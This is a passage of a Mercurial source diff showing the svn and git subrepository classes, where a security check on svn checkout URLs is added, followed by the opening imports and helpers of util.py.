                 ui.warn(_("subrepo '%s' is hidden in revision %s\n") %
                         (self._relpath, node.short(self._ctx.node())))
             return 0
         except error.RepoLookupError:
             # A missing subrepo revision may be a case of needing to pull it, so
             # don't treat this as an error.
             self._repo.ui.warn(_("subrepo '%s' not found in revision %s\n") %
                                (self._relpath, node.short(self._ctx.node())))
             return 0
 
     @propertycache
     def wvfs(self):
         """return own wvfs for efficiency and consistency
         """
         return self._repo.wvfs
 
     @propertycache
     def _relpath(self):
         """return path to this subrepository as seen from outermost repository
         """
         # Keep consistent dir separators by avoiding vfs.join(self._path)
         return reporelpath(self._repo)
 
 class svnsubrepo(abstractsubrepo):
     def __init__(self, ctx, path, state, allowcreate):
         super(svnsubrepo, self).__init__(ctx, path)
         self._state = state
         self._exe = util.findexe('svn')
         if not self._exe:
             raise error.Abort(_("'svn' executable not found for subrepo '%s'")
                              % self._path)
 
     def _svncommand(self, commands, filename='', failok=False):
         cmd = [self._exe]
         extrakw = {}
         if not self.ui.interactive():
             # Making stdin be a pipe should prevent svn from behaving
             # interactively even if we can't pass --non-interactive.
             extrakw['stdin'] = subprocess.PIPE
             # Starting in svn 1.5 --non-interactive is a global flag
             # instead of being per-command, but we need to support 1.4 so
             # we have to be intelligent about what commands take
             # --non-interactive.
             if commands[0] in ('update', 'checkout', 'commit'):
                 cmd.append('--non-interactive')
         cmd.extend(commands)
         if filename is not None:
             path = self.wvfs.reljoin(self._ctx.repo().origroot,
                                      self._path, filename)
             cmd.append(path)
         env = dict(encoding.environ)
         # Avoid localized output, preserve current locale for everything else.
         lc_all = env.get('LC_ALL')
         if lc_all:
             env['LANG'] = lc_all
             del env['LC_ALL']
         env['LC_MESSAGES'] = 'C'
         p = subprocess.Popen(cmd, bufsize=-1, close_fds=util.closefds,
                              stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                               universal_newlines=True, env=env, **extrakw)
         stdout, stderr = p.communicate()
         stderr = stderr.strip()
         if not failok:
             if p.returncode:
                 raise error.Abort(stderr or 'exited with code %d'
                                   % p.returncode)
             if stderr:
                 self.ui.warn(stderr + '\n')
         return stdout, stderr
 
     @propertycache
     def _svnversion(self):
         output, err = self._svncommand(['--version', '--quiet'], filename=None)
         m = re.search(r'^(\d+)\.(\d+)', output)
         if not m:
             raise error.Abort(_('cannot retrieve svn tool version'))
         return (int(m.group(1)), int(m.group(2)))
 
     def _wcrevs(self):
         # Get the working directory revision as well as the last
         # commit revision so we can compare the subrepo state with
         # both. We used to store the working directory one.
         output, err = self._svncommand(['info', '--xml'])
         doc = xml.dom.minidom.parseString(output)
         entries = doc.getElementsByTagName('entry')
         lastrev, rev = '0', '0'
         if entries:
             rev = str(entries[0].getAttribute('revision')) or '0'
             commits = entries[0].getElementsByTagName('commit')
             if commits:
                 lastrev = str(commits[0].getAttribute('revision')) or '0'
         return (lastrev, rev)
 
     def _wcrev(self):
         return self._wcrevs()[0]
 
     def _wcchanged(self):
         """Return (changes, extchanges, missing) where changes is True
         if the working directory was changed, extchanges is
         True if any of these changes concern an external entry and missing
         is True if any change is a missing entry.
         """
         output, err = self._svncommand(['status', '--xml'])
         externals, changes, missing = [], [], []
         doc = xml.dom.minidom.parseString(output)
         for e in doc.getElementsByTagName('entry'):
             s = e.getElementsByTagName('wc-status')
             if not s:
                 continue
             item = s[0].getAttribute('item')
             props = s[0].getAttribute('props')
             path = e.getAttribute('path')
             if item == 'external':
                 externals.append(path)
             elif item == 'missing':
                 missing.append(path)
             if (item not in ('', 'normal', 'unversioned', 'external')
                 or props not in ('', 'none', 'normal')):
                 changes.append(path)
         for path in changes:
             for ext in externals:
                 if path == ext or path.startswith(ext + pycompat.ossep):
                     return True, True, bool(missing)
         return bool(changes), False, bool(missing)
 
     def dirty(self, ignoreupdate=False, missing=False):
         wcchanged = self._wcchanged()
         changed = wcchanged[0] or (missing and wcchanged[2])
         if not changed:
             if self._state[1] in self._wcrevs() or ignoreupdate:
                 return False
         return True
 
     def basestate(self):
         lastrev, rev = self._wcrevs()
         if lastrev != rev:
             # Last committed rev is not the same than rev. We would
             # like to take lastrev but we do not know if the subrepo
             # URL exists at lastrev.  Test it and fallback to rev it
             # is not there.
             try:
                 self._svncommand(['list', '%s@%s' % (self._state[0], lastrev)])
                 return lastrev
             except error.Abort:
                 pass
         return rev
 
     @annotatesubrepoerror
     def commit(self, text, user, date):
         # user and date are out of our hands since svn is centralized
         changed, extchanged, missing = self._wcchanged()
         if not changed:
             return self.basestate()
         if extchanged:
             # Do not try to commit externals
             raise error.Abort(_('cannot commit svn externals'))
         if missing:
             # svn can commit with missing entries but aborting like hg
             # seems a better approach.
             raise error.Abort(_('cannot commit missing svn entries'))
         commitinfo, err = self._svncommand(['commit', '-m', text])
         self.ui.status(commitinfo)
         newrev = re.search('Committed revision ([0-9]+).', commitinfo)
         if not newrev:
             if not commitinfo.strip():
                 # Sometimes, our definition of "changed" differs from
                 # svn one. For instance, svn ignores missing files
                 # when committing. If there are only missing files, no
                 # commit is made, no output and no error code.
                 raise error.Abort(_('failed to commit svn changes'))
             raise error.Abort(commitinfo.splitlines()[-1])
         newrev = newrev.groups()[0]
         self.ui.status(self._svncommand(['update', '-r', newrev])[0])
         return newrev
 
     @annotatesubrepoerror
     def remove(self):
         if self.dirty():
             self.ui.warn(_('not removing repo %s because '
                            'it has changes.\n') % self._path)
             return
         self.ui.note(_('removing subrepo %s\n') % self._path)
 
         self.wvfs.rmtree(forcibly=True)
         try:
             pwvfs = self._ctx.repo().wvfs
             pwvfs.removedirs(pwvfs.dirname(self._path))
         except OSError:
             pass
 
     @annotatesubrepoerror
     def get(self, state, overwrite=False):
         if overwrite:
             self._svncommand(['revert', '--recursive'])
         args = ['checkout']
         if self._svnversion >= (1, 5):
             args.append('--force')
         # The revision must be specified at the end of the URL to properly
         # update to a directory which has since been deleted and recreated.
         args.append('%s@%s' % (state[0], state[1]))
+
+        # SEC: check that the ssh url is safe
+        util.checksafessh(state[0])
+
         status, err = self._svncommand(args, failok=True)
         _sanitize(self.ui, self.wvfs, '.svn')
         if not re.search('Checked out revision [0-9]+.', status):
             if ('is already a working copy for a different URL' in err
                 and (self._wcchanged()[:2] == (False, False))):
                 # obstructed but clean working copy, so just blow it away.
                 self.remove()
                 self.get(state, overwrite=False)
                 return
             raise error.Abort((status or err).splitlines()[-1])
         self.ui.status(status)
 
     @annotatesubrepoerror
     def merge(self, state):
         old = self._state[1]
         new = state[1]
         wcrev = self._wcrev()
         if new != wcrev:
             dirty = old == wcrev or self._wcchanged()[0]
             if _updateprompt(self.ui, self, dirty, wcrev, new):
                 self.get(state, False)
 
     def push(self, opts):
         # push is a no-op for SVN
         return True
 
     @annotatesubrepoerror
     def files(self):
         output = self._svncommand(['list', '--recursive', '--xml'])[0]
         doc = xml.dom.minidom.parseString(output)
         paths = []
         for e in doc.getElementsByTagName('entry'):
             kind = str(e.getAttribute('kind'))
             if kind != 'file':
                 continue
             name = ''.join(c.data for c
                            in e.getElementsByTagName('name')[0].childNodes
                            if c.nodeType == c.TEXT_NODE)
             paths.append(name.encode('utf-8'))
         return paths
 
     def filedata(self, name, decode):
         return self._svncommand(['cat'], name)[0]
 
 
 class gitsubrepo(abstractsubrepo):
     def __init__(self, ctx, path, state, allowcreate):
         super(gitsubrepo, self).__init__(ctx, path)
         self._state = state
         self._abspath = ctx.repo().wjoin(path)
         self._subparent = ctx.repo()
         self._ensuregit()
 
     def _ensuregit(self):
         try:
             self._gitexecutable = 'git'
             out, err = self._gitnodir(['--version'])
         except OSError as e:
             genericerror = _("error executing git for subrepo '%s': %s")
             notfoundhint = _("check git is installed and in your PATH")
             if e.errno != errno.ENOENT:
                 raise error.Abort(genericerror % (self._path, e.strerror))
             elif pycompat.osname == 'nt':
                 try:
                     self._gitexecutable = 'git.cmd'
                     out, err = self._gitnodir(['--version'])
                 except OSError as e2:
                     if e2.errno == errno.ENOENT:
                         raise error.Abort(_("couldn't find 'git' or 'git.cmd'"
                             " for subrepo '%s'") % self._path,
                             hint=notfoundhint)
                     else:
                         raise error.Abort(genericerror % (self._path,
                             e2.strerror))
             else:
                 raise error.Abort(_("couldn't find git for subrepo '%s'")
                     % self._path, hint=notfoundhint)
         versionstatus = self._checkversion(out)
         if versionstatus == 'unknown':
             self.ui.warn(_('cannot retrieve git version\n'))
         elif versionstatus == 'abort':
             raise error.Abort(_('git subrepo requires at least 1.6.0 or later'))
         elif versionstatus == 'warning':
             self.ui.warn(_('git subrepo requires at least 1.6.0 or later\n'))
 
     @staticmethod
     def _gitversion(out):
         m = re.search(r'^git version (\d+)\.(\d+)\.(\d+)', out)
         if m:
             return (int(m.group(1)), int(m.group(2)), int(m.group(3)))
 
         m = re.search(r'^git version (\d+)\.(\d+)', out)
         if m:
             return (int(m.group(1)), int(m.group(2)), 0)
 
         return -1
 
     @staticmethod
     def _checkversion(out):
         '''ensure git version is new enough
 
         >>> _checkversion = gitsubrepo._checkversion
         >>> _checkversion('git version 1.6.0')
         'ok'
         >>> _checkversion('git version 1.8.5')
         'ok'
         >>> _checkversion('git version 1.4.0')
         'abort'
         >>> _checkversion('git version 1.5.0')
         'warning'
         >>> _checkversion('git version 1.9-rc0')
         'ok'
         >>> _checkversion('git version 1.9.0.265.g81cdec2')
         'ok'
         >>> _checkversion('git version 1.9.0.GIT')
         'ok'
         >>> _checkversion('git version 12345')
         'unknown'
         >>> _checkversion('no')
         'unknown'
         '''
         version = gitsubrepo._gitversion(out)
         # git 1.4.0 can't work at all, but 1.5.X can in at least some cases,
         # despite the docstring comment.  For now, error on 1.4.0, warn on
         # 1.5.0 but attempt to continue.
         if version == -1:
             return 'unknown'
         if version < (1, 5, 0):
             return 'abort'
         elif version < (1, 6, 0):
             return 'warning'
         return 'ok'
 
     def _gitcommand(self, commands, env=None, stream=False):
         return self._gitdir(commands, env=env, stream=stream)[0]
 
     def _gitdir(self, commands, env=None, stream=False):
         return self._gitnodir(commands, env=env, stream=stream,
                               cwd=self._abspath)
 
     def _gitnodir(self, commands, env=None, stream=False, cwd=None):
         """Calls the git command
 
         The methods tries to call the git command. versions prior to 1.6.0
         are not supported and very probably fail.
         """
         self.ui.debug('%s: git %s\n' % (self._relpath, ' '.join(commands)))
         if env is None:
             env = encoding.environ.copy()
         # disable localization for Git output (issue5176)
         env['LC_ALL'] = 'C'
         # fix for Git CVE-2015-7545
         if 'GIT_ALLOW_PROTOCOL' not in env:
             env['GIT_ALLOW_PROTOCOL'] = 'file:git:http:https:ssh'
         # unless ui.quiet is set, print git's stderr,
         # which is mostly progress and useful info
         errpipe = None
         if self.ui.quiet:
             errpipe = open(os.devnull, 'w')
         if self.ui._colormode and len(commands) and commands[0] == "diff":
             # insert the argument in the front,
             # the end of git diff arguments is used for paths
             commands.insert(1, '--color')
         p = subprocess.Popen([self._gitexecutable] + commands, bufsize=-1,
                              cwd=cwd, env=env, close_fds=util.closefds,
                              stdout=subprocess.PIPE, stderr=errpipe)
         if stream:
             return p.stdout, None
 
         retdata = p.stdout.read().strip()
         # wait for the child to exit to avoid race condition.
         p.wait()
 
         if p.returncode != 0 and p.returncode != 1:
             # there are certain error codes that are ok
             command = commands[0]
             if command in ('cat-file', 'symbolic-ref'):
                 return retdata, p.returncode
             # for all others, abort
             raise error.Abort(_('git %s error %d in %s') %
                              (command, p.returncode, self._relpath))
 
         return retdata, p.returncode
 
     def _gitmissing(self):
         return not self.wvfs.exists('.git')
 
     def _gitstate(self):
         return self._gitcommand(['rev-parse', 'HEAD'])
 
     def _gitcurrentbranch(self):
         current, err = self._gitdir(['symbolic-ref', 'HEAD', '--quiet'])
         if err:
             current = None
         return current
 
     def _gitremote(self, remote):
         out = self._gitcommand(['remote', 'show', '-n', remote])
         line = out.split('\n')[1]
         i = line.index('URL: ') + len('URL: ')
         return line[i:]
 
     def _githavelocally(self, revision):
         out, code = self._gitdir(['cat-file', '-e', revision])
         return code == 0
 
     def _gitisancestor(self, r1, r2):
         base = self._gitcommand(['merge-base', r1, r2])
         return base == r1
 
     def _gitisbare(self):
         return self._gitcommand(['config', '--bool', 'core.bare']) == 'true'
 
     def _gitupdatestat(self):
         """This must be run before git diff-index.
         diff-index only looks at changes to file stat;
         this command looks at file contents and updates the stat."""
         self._gitcommand(['update-index', '-q', '--refresh'])
 
     def _gitbranchmap(self):
         '''returns 2 things:
         a map from git branch to revision
         a map from revision to branches'''
         branch2rev = {}
         rev2branch = {}
 
         out = self._gitcommand(['for-each-ref', '--format',
                                 '%(objectname) %(refname)'])
         for line in out.split('\n'):
             revision, ref = line.split(' ')
             if (not ref.startswith('refs/heads/') and
                 not ref.startswith('refs/remotes/')):
                 continue
             if ref.startswith('refs/remotes/') and ref.endswith('/HEAD'):
                 continue # ignore remote/HEAD redirects
             branch2rev[ref] = revision
             rev2branch.setdefault(revision, []).append(ref)
         return branch2rev, rev2branch
 
     def _gittracking(self, branches):
         'return map of remote branch to local tracking branch'
         # assumes no more than one local tracking branch for each remote
         tracking = {}
         for b in branches:
             if b.startswith('refs/remotes/'):
                 continue
             bname = b.split('/', 2)[2]
             remote = self._gitcommand(['config', 'branch.%s.remote' % bname])
             if remote:
                 ref = self._gitcommand(['config', 'branch.%s.merge' % bname])
                 tracking['refs/remotes/%s/%s' %
                          (remote, ref.split('/', 2)[2])] = b
         return tracking
 
     def _abssource(self, source):
         if '://' not in source:
             # recognize the scp syntax as an absolute source
             colon = source.find(':')
             if colon != -1 and '/' not in source[:colon]:
                 return source
         self._subsource = source
         return _abssource(self)
 
     def _fetch(self, source, revision):
         if self._gitmissing():
             source = self._abssource(source)
             self.ui.status(_('cloning subrepo %s from %s\n') %
                             (self._relpath, source))
             self._gitnodir(['clone', source, self._abspath])
         if self._githavelocally(revision):
             return
         self.ui.status(_('pulling subrepo %s from %s\n') %
                         (self._relpath, self._gitremote('origin')))
         # try only origin: the originally cloned repo
         self._gitcommand(['fetch'])
         if not self._githavelocally(revision):
             raise error.Abort(_('revision %s does not exist in subrepository '
                                 '"%s"\n') % (revision, self._relpath))
 
     @annotatesubrepoerror
     def dirty(self, ignoreupdate=False, missing=False):
         if self._gitmissing():
             return self._state[1] != ''
         if self._gitisbare():
             return True
         if not ignoreupdate and self._state[1] != self._gitstate():
             # different version checked out
             return True
         # check for staged changes or modified files; ignore untracked files
         self._gitupdatestat()
         out, code = self._gitdir(['diff-index', '--quiet', 'HEAD'])
         return code == 1
 
     def basestate(self):
         return self._gitstate()
 
     @annotatesubrepoerror
     def get(self, state, overwrite=False):
         source, revision, kind = state
         if not revision:
             self.remove()
             return
         self._fetch(source, revision)
         # if the repo was set to be bare, unbare it
         if self._gitisbare():
             self._gitcommand(['config', 'core.bare', 'false'])
             if self._gitstate() == revision:
                 self._gitcommand(['reset', '--hard', 'HEAD'])
                 return
         elif self._gitstate() == revision:
             if overwrite:
                 # first reset the index to unmark new files for commit, because
                 # reset --hard will otherwise throw away files added for commit,
                 # not just unmark them.
                 self._gitcommand(['reset', 'HEAD'])
                 self._gitcommand(['reset', '--hard', 'HEAD'])
             return
         branch2rev, rev2branch = self._gitbranchmap()
 
         def checkout(args):
             cmd = ['checkout']
             if overwrite:
                 # first reset the index to unmark new files for commit, because
                 # the -f option will otherwise throw away files added for
                 # commit, not just unmark them.
                 self._gitcommand(['reset', 'HEAD'])
                 cmd.append('-f')
             self._gitcommand(cmd + args)
             _sanitize(self.ui, self.wvfs, '.git')
 
         def rawcheckout():
             # no branch to checkout, check it out with no branch
             self.ui.warn(_('checking out detached HEAD in '
                            'subrepository "%s"\n') % self._relpath)
             self.ui.warn(_('check out a git branch if you intend '
                             'to make changes\n'))
             checkout(['-q', revision])
 
         if revision not in rev2branch:
             rawcheckout()
             return
         branches = rev2branch[revision]
         firstlocalbranch = None
         for b in branches:
             if b == 'refs/heads/master':
                 # master trumps all other branches
                 checkout(['refs/heads/master'])
                 return
             if not firstlocalbranch and not b.startswith('refs/remotes/'):
                 firstlocalbranch = b
         if firstlocalbranch:
             checkout([firstlocalbranch])
             return
 
         tracking = self._gittracking(branch2rev.keys())
         # choose a remote branch already tracked if possible
         remote = branches[0]
         if remote not in tracking:
             for b in branches:
                 if b in tracking:
                     remote = b
                     break
 
         if remote not in tracking:
             # create a new local tracking branch
             local = remote.split('/', 3)[3]
             checkout(['-b', local, remote])
         elif self._gitisancestor(branch2rev[tracking[remote]], remote):
             # When updating to a tracked remote branch,
             # if the local tracking branch is downstream of it,
             # a normal `git pull` would have performed a "fast-forward merge"
             # which is equivalent to updating the local branch to the remote.
             # Since we are only looking at branching at update, we need to
             # detect this situation and perform this action lazily.
             if tracking[remote] != self._gitcurrentbranch():
                 checkout([tracking[remote]])
             self._gitcommand(['merge', '--ff', remote])
             _sanitize(self.ui, self.wvfs, '.git')
         else:
             # a real merge would be required, just checkout the revision
             rawcheckout()
 
     @annotatesubrepoerror
     def commit(self, text, user, date):
         if self._gitmissing():
             raise error.Abort(_("subrepo %s is missing") % self._relpath)
         cmd = ['commit', '-a', '-m', text]
         env = encoding.environ.copy()
         if user:
             cmd += ['--author', user]
         if date:
             # git's date parser silently ignores when seconds < 1e9
             # convert to ISO8601
             env['GIT_AUTHOR_DATE'] = util.datestr(date,
                                                   '%Y-%m-%dT%H:%M:%S %1%2')
         self._gitcommand(cmd, env=env)
         # make sure commit works otherwise HEAD might not exist under certain
         # circumstances
         return self._gitstate()
 
     @annotatesubrepoerror
     def merge(self, state):
         source, revision, kind = state
         self._fetch(source, revision)
         base = self._gitcommand(['merge-base', revision, self._state[1]])
         self._gitupdatestat()
         out, code = self._gitdir(['diff-index', '--quiet', 'HEAD'])
 
         def mergefunc():
             if base == revision:
                 self.get(state) # fast forward merge
             elif base != self._state[1]:
                 self._gitcommand(['merge', '--no-commit', revision])
             _sanitize(self.ui, self.wvfs, '.git')
 
         if self.dirty():
             if self._gitstate() != revision:
                 dirty = self._gitstate() == self._state[1] or code != 0
                 if _updateprompt(self.ui, self, dirty,
                                  self._state[1][:7], revision[:7]):
                     mergefunc()
         else:
             mergefunc()
 
     @annotatesubrepoerror
     def push(self, opts):
         force = opts.get('force')
 
         if not self._state[1]:
             return True
         if self._gitmissing():
             raise error.Abort(_("subrepo %s is missing") % self._relpath)
         # if a branch in origin contains the revision, nothing to do
         branch2rev, rev2branch = self._gitbranchmap()
         if self._state[1] in rev2branch:
             for b in rev2branch[self._state[1]]:
                 if b.startswith('refs/remotes/origin/'):
                     return True
         for b, revision in branch2rev.iteritems():
             if b.startswith('refs/remotes/origin/'):
                 if self._gitisancestor(self._state[1], revision):
                     return True
         # otherwise, try to push the currently checked out branch
         cmd = ['push']
         if force:
             cmd.append('--force')
 
         current = self._gitcurrentbranch()
         if current:
             # determine if the current branch is even useful
             if not self._gitisancestor(self._state[1], current):
                 self.ui.warn(_('unrelated git branch checked out '
                                'in subrepository "%s"\n') % self._relpath)
                 return False
             self.ui.status(_('pushing branch %s of subrepository "%s"\n') %
                            (current.split('/', 2)[2], self._relpath))
             ret = self._gitdir(cmd + ['origin', current])
             return ret[1] == 0
         else:
             self.ui.warn(_('no branch checked out in subrepository "%s"\n'
                            'cannot push revision %s\n') %
                           (self._relpath, self._state[1]))
             return False
 
     @annotatesubrepoerror
     def add(self, ui, match, prefix, explicitonly, **opts):
         if self._gitmissing():
             return []
 
         (modified, added, removed,
          deleted, unknown, ignored, clean) = self.status(None, unknown=True,
                                                          clean=True)
 
         tracked = set()
         # dirstates 'amn' warn, 'r' is added again
         for l in (modified, added, deleted, clean):
             tracked.update(l)
 
         # Unknown files not of interest will be rejected by the matcher
         files = unknown
         files.extend(match.files())
 
         rejected = []
 
         files = [f for f in sorted(set(files)) if match(f)]
         for f in files:
             exact = match.exact(f)
             command = ["add"]
             if exact:
                 command.append("-f") #should be added, even if ignored
             if ui.verbose or not exact:
                 ui.status(_('adding %s\n') % match.rel(f))
 
             if f in tracked:  # hg prints 'adding' even if already tracked
                 if exact:
                     rejected.append(f)
                 continue
             if not opts.get(r'dry_run'):
                 self._gitcommand(command + [f])
 
         for f in rejected:
             ui.warn(_("%s already tracked!\n") % match.abs(f))
 
         return rejected
 
     @annotatesubrepoerror
     def remove(self):
         if self._gitmissing():
             return
         if self.dirty():
             self.ui.warn(_('not removing repo %s because '
                            'it has changes.\n') % self._relpath)
             return
         # we can't fully delete the repository as it may contain
         # local-only history
         self.ui.note(_('removing subrepo %s\n') % self._relpath)
         self._gitcommand(['config', 'core.bare', 'true'])
         for f, kind in self.wvfs.readdir():
             if f == '.git':
                 continue
             if kind == stat.S_IFDIR:
                 self.wvfs.rmtree(f)
             else:
                 self.wvfs.unlink(f)
 
     def archive(self, archiver, prefix, match=None, decode=True):
         total = 0
         source, revision = self._state
         if not revision:
             return total
         self._fetch(source, revision)
 
         # Parse git's native archive command.
         # This should be much faster than manually traversing the trees
         # and objects with many subprocess calls.
         tarstream = self._gitcommand(['archive', revision], stream=True)
         tar = tarfile.open(fileobj=tarstream, mode='r|')
         relpath = subrelpath(self)
         self.ui.progress(_('archiving (%s)') % relpath, 0, unit=_('files'))
         for i, info in enumerate(tar):
             if info.isdir():
                 continue
             if match and not match(info.name):
                 continue
             if info.issym():
                 data = info.linkname
             else:
                 data = tar.extractfile(info).read()
             archiver.addfile(prefix + self._path + '/' + info.name,
                              info.mode, info.issym(), data)
             total += 1
             self.ui.progress(_('archiving (%s)') % relpath, i + 1,
                              unit=_('files'))
         self.ui.progress(_('archiving (%s)') % relpath, None)
         return total
 
 
     @annotatesubrepoerror
     def cat(self, match, fm, fntemplate, prefix, **opts):
         rev = self._state[1]
         if match.anypats():
             return 1 #No support for include/exclude yet
 
         if not match.files():
             return 1
 
         # TODO: add support for non-plain formatter (see cmdutil.cat())
         for f in match.files():
             output = self._gitcommand(["show", "%s:%s" % (rev, f)])
             fp = cmdutil.makefileobj(self._subparent, fntemplate,
                                      self._ctx.node(),
                                      pathname=self.wvfs.reljoin(prefix, f))
             fp.write(output)
             fp.close()
         return 0
 
 
     @annotatesubrepoerror
     def status(self, rev2, **opts):
         rev1 = self._state[1]
         if self._gitmissing() or not rev1:
             # if the repo is missing, return no results
             return scmutil.status([], [], [], [], [], [], [])
         modified, added, removed = [], [], []
         self._gitupdatestat()
         if rev2:
             command = ['diff-tree', '--no-renames', '-r', rev1, rev2]
         else:
             command = ['diff-index', '--no-renames', rev1]
         out = self._gitcommand(command)
         for line in out.split('\n'):
             tab = line.find('\t')
             if tab == -1:
                 continue
             status, f = line[tab - 1], line[tab + 1:]
             if status == 'M':
                 modified.append(f)
             elif status == 'A':
                 added.append(f)
             elif status == 'D':
                 removed.append(f)
 
         deleted, unknown, ignored, clean = [], [], [], []
 
         command = ['status', '--porcelain', '-z']
         if opts.get(r'unknown'):
             command += ['--untracked-files=all']
         if opts.get(r'ignored'):
             command += ['--ignored']
         out = self._gitcommand(command)
 
         changedfiles = set()
         changedfiles.update(modified)
         changedfiles.update(added)
         changedfiles.update(removed)
         for line in out.split('\0'):
             if not line:
                 continue
             st = line[0:2]
             #moves and copies show 2 files on one line
             if line.find('\0') >= 0:
                 filename1, filename2 = line[3:].split('\0')
             else:
                 filename1 = line[3:]
                 filename2 = None
 
             changedfiles.add(filename1)
             if filename2:
                 changedfiles.add(filename2)
 
             if st == '??':
                 unknown.append(filename1)
             elif st == '!!':
                 ignored.append(filename1)
 
         if opts.get(r'clean'):
             out = self._gitcommand(['ls-files'])
             for f in out.split('\n'):
                 if not f in changedfiles:
                     clean.append(f)
 
         return scmutil.status(modified, added, removed, deleted,
                               unknown, ignored, clean)
 
     @annotatesubrepoerror
     def diff(self, ui, diffopts, node2, match, prefix, **opts):
         node1 = self._state[1]
         cmd = ['diff', '--no-renames']
         if opts[r'stat']:
             cmd.append('--stat')
         else:
             # for Git, this also implies '-p'
             cmd.append('-U%d' % diffopts.context)
 
         gitprefix = self.wvfs.reljoin(prefix, self._path)
 
         if diffopts.noprefix:
             cmd.extend(['--src-prefix=%s/' % gitprefix,
                         '--dst-prefix=%s/' % gitprefix])
         else:
             cmd.extend(['--src-prefix=a/%s/' % gitprefix,
                         '--dst-prefix=b/%s/' % gitprefix])
 
         if diffopts.ignorews:
             cmd.append('--ignore-all-space')
         if diffopts.ignorewsamount:
             cmd.append('--ignore-space-change')
         if self._gitversion(self._gitcommand(['--version'])) >= (1, 8, 4) \
                 and diffopts.ignoreblanklines:
             cmd.append('--ignore-blank-lines')
 
         cmd.append(node1)
         if node2:
             cmd.append(node2)
 
         output = ""
         if match.always():
             output += self._gitcommand(cmd) + '\n'
         else:
             st = self.status(node2)[:3]
             files = [f for sublist in st for f in sublist]
             for f in files:
                 if match(f):
                     output += self._gitcommand(cmd + ['--', f]) + '\n'
 
         if output.strip():
             ui.write(output)
 
     @annotatesubrepoerror
     def revert(self, substate, *pats, **opts):
         self.ui.status(_('reverting subrepo %s\n') % substate[0])
         if not opts.get(r'no_backup'):
             status = self.status(None)
             names = status.modified
             for name in names:
                 bakname = scmutil.origpath(self.ui, self._subparent, name)
                 self.ui.note(_('saving current version of %s as %s\n') %
                         (name, bakname))
                 self.wvfs.rename(name, bakname)
 
         if not opts.get(r'dry_run'):
             self.get(substate, overwrite=True)
         return []
 
     def shortid(self, revid):
         return revid[:7]
 
 types = {
     'hg': hgsubrepo,
     'svn': svnsubrepo,
     'git': gitsubrepo,
     }

mercurial/util.py

@@ -1,3719 +1,3720 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import
 
 import bz2
 import calendar
 import codecs
 import collections
 import contextlib
 import datetime
 import errno
 import gc
 import hashlib
 import imp
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import signal
 import socket
 import stat
 import string
 import subprocess
 import sys
 import tempfile
 import textwrap
 import time
 import traceback
 import warnings
 import zlib
 
 from . import (
     encoding,
     error,
     i18n,
     policy,
     pycompat,
 )
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 empty = pycompat.empty
 httplib = pycompat.httplib
 httpserver = pycompat.httpserver
 pickle = pycompat.pickle
 queue = pycompat.queue
 socketserver = pycompat.socketserver
 stderr = pycompat.stderr
 stdin = pycompat.stdin
 stdout = pycompat.stdout
 stringio = pycompat.stringio
 urlerr = pycompat.urlerr
 urlreq = pycompat.urlreq
 xmlrpclib = pycompat.xmlrpclib
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 def isatty(fp):
     try:
         return fp.isatty()
     except AttributeError:
         return False
 
 # glibc determines buffering on first write to stdout - if we replace a TTY
 # destined stdout with a pipe destined stdout (e.g. pager), we want line
 # buffering
 if isatty(stdout):
     stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
 
 if pycompat.osname == 'nt':
     from . import windows as platform
     stdout = platform.winstdout(stdout)
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 executablepath = platform.executablepath
 expandglobs = platform.expandglobs
 explainexit = platform.explainexit
 findexe = platform.findexe
 gethgcmd = platform.gethgcmd
 getuser = platform.getuser
 getpid = os.getpid
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 hidewindow = platform.hidewindow
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 popen = platform.popen
 posixfile = platform.posixfile
 quotecommand = platform.quotecommand
 readpipe = platform.readpipe
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setbinary = platform.setbinary
 setflags = platform.setflags
 setsignalhandler = platform.setsignalhandler
 shellquote = platform.shellquote
 spawndetached = platform.spawndetached
 split = platform.split
 sshargs = platform.sshargs
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 testpid = platform.testpid
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 try:
     setprocname = osutil.setprocname
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 # disable Python's problematic floating point timestamps (issue4836)
 # (Python hypocritically says you shouldn't change this behavior in
 # libraries, and sure enough Mercurial is not a library.)
 os.stat_float_times(False)
 
 def safehasattr(thing, attr):
     return getattr(thing, attr, _notset) is not _notset
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
